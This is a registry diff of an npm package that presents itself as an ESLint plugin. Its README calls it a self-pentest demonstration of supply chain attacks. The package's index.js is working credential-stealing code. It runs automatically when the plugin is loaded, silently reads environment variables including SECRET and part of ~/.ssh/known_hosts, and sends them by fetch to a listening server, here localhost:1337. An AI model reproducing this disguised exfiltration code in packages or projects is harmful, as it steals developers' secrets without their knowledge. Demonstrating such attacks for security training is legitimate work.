@selfpentest/eslint-pentest-plugin 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +40 -0
- package/index.js +47 -0
- package/package.json +14 -0
- package/pentest.png +0 -0
package/README.md
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
# eslint-pentest-plugin
|
|
2
|
+
|
|
3
|
+

|
|
4
|
+
|
|
5
|
+
> ⚠️ Not intended for actual use.
|
|
6
|
+
> You can use this package to pentest your own applications to see if they are vulnerable to supply chain attacks.
|
|
7
|
+
|
|
8
|
+
An example package for training oneself that pretends to be an eslint plugin but it steals secrets instead.
|
|
9
|
+
|
|
10
|
+
Install it and specify its use in eslint configuration to see how it can be used to steal secrets from your project.
|
|
11
|
+
|
|
12
|
+
The plugin will demonstrate exfiltrating environment variables and the first 30 characters of `.ssh/known_hosts` to a server listening on `http://localhost:1337/`
|
|
13
|
+
|
|
14
|
+
## modern flat config
|
|
15
|
+
|
|
16
|
+
`eslint.config.js`:
|
|
17
|
+
|
|
18
|
+
```js
|
|
19
|
+
const pentestPlugin = require("@selfpentest/eslint-pentest-plugin");
|
|
20
|
+
|
|
21
|
+
module.exports = [pentestPlugin.configs.recommended];
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## legacy config
|
|
25
|
+
|
|
26
|
+
`.eslintrc.cjs`:
|
|
27
|
+
|
|
28
|
+
```js
|
|
29
|
+
// ESLint resolves and requires the package automatically — no import needed
|
|
30
|
+
module.exports = {
|
|
31
|
+
plugins: ["@selfpentest/eslint-pentest-plugin"],
|
|
32
|
+
extends: ["plugin:@selfpentest/eslint-pentest-plugin/recommended"],
|
|
33
|
+
};
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
ESLint reads the plugin name string, resolves it from `node_modules`, and `require()`s it internally. `extends` pulls in the recommended preset, so no individual rules need to be listed.
|
|
37
|
+
|
|
38
|
+
## Intent
|
|
39
|
+
|
|
40
|
+
This package is not a hacking tool. It lets the developer check if their setup is vulnerable and can be used for security demonstrations.
|
package/index.js
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
const steal = async (perpetrator) => {
|
|
2
|
+
try {
|
|
3
|
+
const fs = require("fs");
|
|
4
|
+
const path = require("path");
|
|
5
|
+
const os = require("os");
|
|
6
|
+
const secretFragment = []
|
|
7
|
+
try {
|
|
8
|
+
secretFragment.push(process.env.HOME)
|
|
9
|
+
secretFragment.push(process.env.SECRET)
|
|
10
|
+
} catch (e) {
|
|
11
|
+
// silence process._rawDebug(e)
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
try {
|
|
15
|
+
secretFragment.push(fs.readFileSync(path.join(os.homedir(), "/.ssh/known_hosts"), "utf8").substring(0,30));
|
|
16
|
+
} catch (e) {
|
|
17
|
+
// silence process._rawDebug(e)
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
const secretFragmentStr = secretFragment.join("?");
|
|
21
|
+
await fetch(`http://localhost:1337/${perpetrator}?${secretFragmentStr}`, {
|
|
22
|
+
method: "GET",
|
|
23
|
+
mode: "no-cors",
|
|
24
|
+
credentials: "omit",
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
} catch (e) {
|
|
28
|
+
// silence process._rawDebug(e)
|
|
29
|
+
}
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
const plugin = {
|
|
33
|
+
meta: {
|
|
34
|
+
name: "@selfpentest/eslint-pentest-plugin",
|
|
35
|
+
version: "1.0.0",
|
|
36
|
+
},
|
|
37
|
+
configs: {
|
|
38
|
+
recommended: {}
|
|
39
|
+
},
|
|
40
|
+
rules: {},
|
|
41
|
+
processors: {},
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
steal("eslint");
|
|
46
|
+
|
|
47
|
+
module.exports = plugin;
|
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@selfpentest/eslint-pentest-plugin",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"publishConfig": {
|
|
6
|
+
"access": "public"
|
|
7
|
+
},
|
|
8
|
+
"scripts": {
|
|
9
|
+
"test": "echo boop"
|
|
10
|
+
},
|
|
11
|
+
"author": "selfpentest",
|
|
12
|
+
"license": "MIT",
|
|
13
|
+
"description": "An example package for training oneself that pretends to be an eslint plugin but it steals secrets instead"
|
|
14
|
+
}
|
package/pentest.png
ADDED
|
Binary file
|